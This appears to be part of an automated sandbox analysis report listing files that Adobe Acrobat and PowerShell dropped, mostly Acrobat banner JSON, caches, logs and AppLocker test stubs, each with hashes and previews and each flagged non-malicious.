Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.323480319443101
Encrypted:	false
SSDEEP:	6:YEQXJ2HXilCMwjWsGiIPEeOF0YpfSKoAvJfQ1rPeUkwRe9:YvXKXi6qsdTeOJfS5GY16Ukee9
MD5:	282CE45BBF0BF158CED98374E5802DD2
SHA1:	C93D90760F0F23D9C335A9D5DCFE59BFA2BF93D8
SHA-256:	04245B07D2209E70903D5EB27289C34EE45D91E582119984ECE43B83529DCDC8
SHA-512:	B27DCD651ACD44A3D4938CFBAF0170A9C7E6802EB170DF71CB7DB078E766F3F12E9D13F72162E6E121D727FBBB1A30E517082C753C4FDACB9B8768AEC453035D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7bb3166d-663d-450f-87b7-507b4431e9c3","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1734784961541,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.339095535880482
Encrypted:	false
SSDEEP:	6:YEQXJ2HXilCMwjWsGiIPEeOF0YpfSKoAvJfFldPeUkwRe9:YvXKXi6qsdTeOJfS5Gz8Ukee9
MD5:	5E5571D0C7199BD0FB0BFC6DF257A627
SHA1:	92D495BC2335BCB7745D3308FB85B273FE2E8719
SHA-256:	2B4E4F1FDA5812BCF88302354B35F5FAF19C590D881BB09F24FAB62A1129FFC1
SHA-512:	A9DA99B068CB6AF22B92142D1B13F3B8CF7D782FF19E53A6BA9F388F0AF64A1126AC5993E927421C7AD7A25947B6257B46EA0119EFB96D8FA24B9E3C40CEECFE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7bb3166d-663d-450f-87b7-507b4431e9c3","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1734784961541,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3462485830286495
Encrypted:	false
SSDEEP:	6:YEQXJ2HXilCMwjWsGiIPEeOF0YpfSKoAvJfzdPeUkwRe9:YvXKXi6qsdTeOJfS5Gb8Ukee9
MD5:	8A30EDA1AFD9CEEFC7A7D92ED4E9ED7E
SHA1:	018D22D8D614AD662E56AD1E70AC76E8F45319D5
SHA-256:	918CF85943C44B016A7B40FA6E2E34F4CC341E7250E751A1BE7598C5CBFFD9EF
SHA-512:	D77F62FCEA79AA99ACCB0B2B954E5C7BDD8AA4AB7B0F5E51EFF3DC2EEB0B77118B677921FC0EAFF89EE53CCD95F34BDA53CF0C34EB7C2C06706DDD3FB91B72CD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7bb3166d-663d-450f-87b7-507b4431e9c3","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1734784961541,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.326844468064715
Encrypted:	false
SSDEEP:	6:YEQXJ2HXilCMwjWsGiIPEeOF0YpfSKoAvJfYdPeUkwRe9:YvXKXi6qsdTeOJfS5Gg8Ukee9
MD5:	CDAC2EB5B7186527DFF6DA6E922EFA1E
SHA1:	821D559F35CCCE1C6AAAF39DC6C183B06A7986F6
SHA-256:	7DD095E1DE1E82FC09E36C97E1968559CB4B1D343EF007F2C684EE779536EB1D
SHA-512:	7174850317629E26F8C6EF104F889213AD4B5A1046F70A430D34DB85F2B4429C09D66EA33F4AA80B18C74A99C7BCC027D0579413DE21E5EFB968823965D48139
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7bb3166d-663d-450f-87b7-507b4431e9c3","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1734784961541,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.313367454761966
Encrypted:	false
SSDEEP:	6:YEQXJ2HXilCMwjWsGiIPEeOF0YpfSKoAvJf+dPeUkwRe9:YvXKXi6qsdTeOJfS5G28Ukee9
MD5:	06DD225CF734FE5817C4571207230737
SHA1:	3D7857634C5E8062EE3C5301B296553A44615E60
SHA-256:	5111A89D38BD78B49765E202D51FD00B081AC3B28E61052D5AAE1A9AFDA8AD1F
SHA-512:	63FBD39D1E38DC79C4C2D01EB6FA9A6273548240C89A522865E0D1BC4B9410E6F6F5CADC1A8C7B6E48672BB0CFC2F26CB7138AB87E58929A4B0255F047D774AA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7bb3166d-663d-450f-87b7-507b4431e9c3","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1734784961541,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.310207067676277
Encrypted:	false
SSDEEP:	6:YEQXJ2HXilCMwjWsGiIPEeOF0YpfSKoAvJfbPtdPeUkwRe9:YvXKXi6qsdTeOJfS5GDV8Ukee9
MD5:	E2AFFBB40009C3033F90117A13AFA209
SHA1:	DA1F5D797BCB6BCD53C897815743F353DA5E179C
SHA-256:	0FADEE7F1B3A203F1F8B5F2A9A8C5CAA088A3F5D3287F6AF42688DC7474BF279
SHA-512:	F46ACC9612FA1D3848EFAE50CC3DBA2763521DAB2EED7DB25DDFB27D5BDB2B185C59CEF83F11DE1F3AABCA5C3AE1E46A0615599E6D034EBE53E4CE9C902AC56B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7bb3166d-663d-450f-87b7-507b4431e9c3","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1734784961541,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.314580337748305
Encrypted:	false
SSDEEP:	6:YEQXJ2HXilCMwjWsGiIPEeOF0YpfSKoAvJf21rPeUkwRe9:YvXKXi6qsdTeOJfS5G+16Ukee9
MD5:	BA5C289C1829D92D713BCEE378E4DCFA
SHA1:	1D91775C988E3264214035E89028B38FD047FA9A
SHA-256:	86565EA799067E49EB01A49F8D23B25061B9F3CA23A0E0D4D54313A3105F777A
SHA-512:	956FD2F4D478612FC64D9793C6A98241C134FE6545296D099E0E28E389C6D09ECA1371494CFAA2B4A75744FD0FC3C33EDBC1F538159E76239F6A4B656CF5E5C2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7bb3166d-663d-450f-87b7-507b4431e9c3","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1734784961541,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.666025232260577
Encrypted:	false
SSDEEP:	24:Yv6Xi6qmeOfamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSO:Yv05e6BgkDMUJUAh8cvMO
MD5:	31BD5CF6C5D8B9DB12CAA4327D9FB36D
SHA1:	2DACC9E591B3EA0B4EA951280BB5B0C9E16FB93E
SHA-256:	E46A8CDB3C3F0EB2E94CB6FFA6F041AD11F8DD255666AF04C5B941489F2101C7
SHA-512:	6E221A0B8335AF972E4A40C3BE6B26415FAC88A439EF4B210FF592651CE8E64D05BEE32FFF73A419FC6E8643EAE88790E04859E58D0CE3156688CA61B49BE056
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7bb3166d-663d-450f-87b7-507b4431e9c3","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1734784961541,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.290669049602687
Encrypted:	false
SSDEEP:	6:YEQXJ2HXilCMwjWsGiIPEeOF0YpfSKoAvJfshHHrPeUkwRe9:YvXKXi6qsdTeOJfS5GUUUkee9
MD5:	AD541FAF0A8684ACFD01E063D7F676C3
SHA1:	F0E1E705FB6AF338C6EE964CF2E7B26E7045420B
SHA-256:	DF85B76DE0123B78E311750E25B6506C0D79ACDCEF189EAC53AE95F1C8309BC8
SHA-512:	DBBC282A74E6D9AAE836F43E52133EDC37172392EEA579FED176EBF7589BCC493D7A5A27665D9D60F020229D46A5B67595DB3EECAF59DD22174DB99B06E179B3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7bb3166d-663d-450f-87b7-507b4431e9c3","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1734784961541,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.313235353882743
Encrypted:	false
SSDEEP:	6:YEQXJ2HXilCMwjWsGiIPEeOF0YpfSKoAvJTqgFCrPeUkwRe9:YvXKXi6qsdTeOJfS5GTq16Ukee9
MD5:	BA92018A1F463A2A31A0D100323C204C
SHA1:	439AFAA04376CB2D22BBA569AC3A39899B508205
SHA-256:	BDE1225A949FB9A69F0A6AB5F6F0E50077B22C071FB99C45213C56895BCE1812
SHA-512:	CEC952883D71B986F6D316527AC72FF96CC1B825CDAE46E1B69333E25C5BF9F21DF5B53DA9854F17BB893C9CE76FA146F0C6C41F90916A0D1919AD5960B9E0AC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7bb3166d-663d-450f-87b7-507b4431e9c3","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1734784961541,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.14283055847902
Encrypted:	false
SSDEEP:	24:YhEfPjtj0SFnEACispJKqPAT7YdabaygQu2Po2LSECi2Jh0c31h5dz9jNZuiOG:YyjBipJK8AAJa92Jh0c3Hv9R
MD5:	2783A9AFD458F51B3B9F8AA07F72083E
SHA1:	DEF9E264E74479D9043C7AC4963C796197847653
SHA-256:	7B348F80A93525625DDC664AE561C29297174579E5A03C04AADA0C143C0AD529
SHA-512:	4B7CEECB652546ADD62E36A9B3093D1C497BF1BF9E4C9E5C8CD23F3094F2CFDC98C2F59DBAA8134C75B186FBBFF6B3436FB114E224BA923BC83BD1714C8EE644
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"649dee58c172bbaf3d74158fb027f773","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1734609726000},{"id":"DC_FirstMile_Home_View_Surface","info":{"dg":"894fa41b258668fa8716f4c1eba8ea24","sid":"DC_FirstMile_Home_View_Surface"},"mimeType":"file","size":294,"ts":1734609726000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"fb773df6baf2fedf9f7c951a2910c767","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1734609726000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"ab520db14ec307802d7b5a44ffa637cf","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1734609726000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"bb4821ae193eb89ee4c1b8a066bb28ac","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1734609726000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"344903522ef563e77d2385629139bd9b","sid":"DC_Reader_More_LHP_Banner"},"mimeType"

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4513966217499887
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2dsNb0lPbu:lNVmsw3SHtbDbPe0K3+fDZdkGC
MD5:	D1321206215C1895DBFFA615786B28F2
SHA1:	D62482764DC4EBE8E95279E14471A555BB4B5815
SHA-256:	4A67F14EF2EBE7E798F84010989EC912680C0AF80B6F4C4BB0194B2E3143C877
SHA-512:	DD30364311024BAF65698CD2FD5B08DEA819769F82AB73BC4694DE11697B5B209B4A5301AC42C42370CB2492019A49DE6A805C9BA809B475C1ACFC76F3E63DF9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9557323436875889
Encrypted:	false
SSDEEP:	48:7MnrvrBd6dHtbGIbPe0K3+fDy2dsNbR2qFl2GL7msv:7C3SHtbDbPe0K3+fDZdkwKVmsv
MD5:	C0DBEDD77ADF702B8EF9C837E09D20C8
SHA1:	5E3AD7664EF1DB5BCDD30F511CB1BEF85048A339
SHA-256:	B4B08EFDAC4AB888FCC46920361B3BE744F67CD56D5C84F508FA70293E613328
SHA-512:	CD4C608CF51CA756A1BE37475BA96EC8AD76CC7CAE87EBEE5B0C742697CB390295FA3F481BFF1E13937010E18650DFABE15732BE8D19AE8195DAFA22478C5FBB
Malicious:	false
Preview:	.... .c.....5..q......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgdb15GeFsiQMBHfuUG1axq4S3jsYyu:6a6TZ44ADEdb15F3HfuP4STsK
MD5:	2877FA0A903E61D0C1178A7334DE30D7
SHA1:	FF961E58D14FD278D904DB1FA91BB6F5368500E4
SHA-256:	446047785D5F02F544C34D23AA76C3B76E33C2F7A42F13EC45A2FD8DD4F76673
SHA-512:	250DA2D77A6876A6D8D1661498A6BD39678FBB830B4B61AD2247051C0EF7C0494630A6D2FAD6437C464648FDA5730B37F859CEC272C22A4992592ECDCC0C9F89
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulVmdtZ:NllUM
MD5:	013016A37665E1E37F0A3576A8EC8324
SHA1:	260F55EC88E3C4D384658F3C18C7FDEF202E47DD
SHA-256:	20C6A3C78E9B98F92B0F0AA8C338FF0BAC1312CBBFE5E65D4C940B828AC92FD8
SHA-512:	99063E180730047A4408E3EF8ABBE1C53DEC1DF04469DFA98666308F60F8E35DEBF7E32066FE0DD1055E1181167061B3512EEE4FE72D0CD3D174E3378BA62ED8
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIe4529.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4965336456103326
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8mUlAkklNH:Qw946cPbiOxDlbYnuRKsK
MD5:	C3765D28A02DCB4FD5F40A9D00CF040E
SHA1:	988BA1390E1AF07EA20F269489F570FC81EF98F0
SHA-256:	F751A13EA20AF6CCFC631EBE858CFE0E709436A693A200FF0DF1D795EB5E15A3
SHA-512:	08161A577E24ADBC331BD8DBBCB85A8A157E339B268FD104BDC6935BA511AC2762F0B954F72236B8854F3666F2062EB18A633ADB703AD28DBDC6D05ADB93C46E
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.9./.1.2./.2.0.2.4. . .0.7.:.0.2.:.0.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_05gl3uzd.xzi.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_e2kp5k3q.emj.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pjip0qff.oea.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uxwiuvo2.5qu.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-12-19 07-01-55-224.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.379301363448664
Encrypted:	false
SSDEEP:	384:iqGEaElEiEWEZ12N1V141Y1T1d1GWlsWOmFgrBdBbBF2O2+2b2S2Obh1hlhzA/AM:Jp2H
MD5:	1F3B27509EC96DF277A063BAF3BB4520
SHA1:	F893D667D6FFAF45DEE3C9B6AED958FF738135BF
SHA-256:	8D8FA33CC910DB657E9DC2078D9717DE683A212ABEE69808B20DC7FCCCD40D26
SHA-512:	57265F7E5FFB82308A28E2415D01F6BF2E1C7B4D93FC7E96BA75A38DD844321E55763AD6AD0BC7152F126EB169D62626CCD98C1FB9784958EE800341E1D06AD5
Malicious:	false
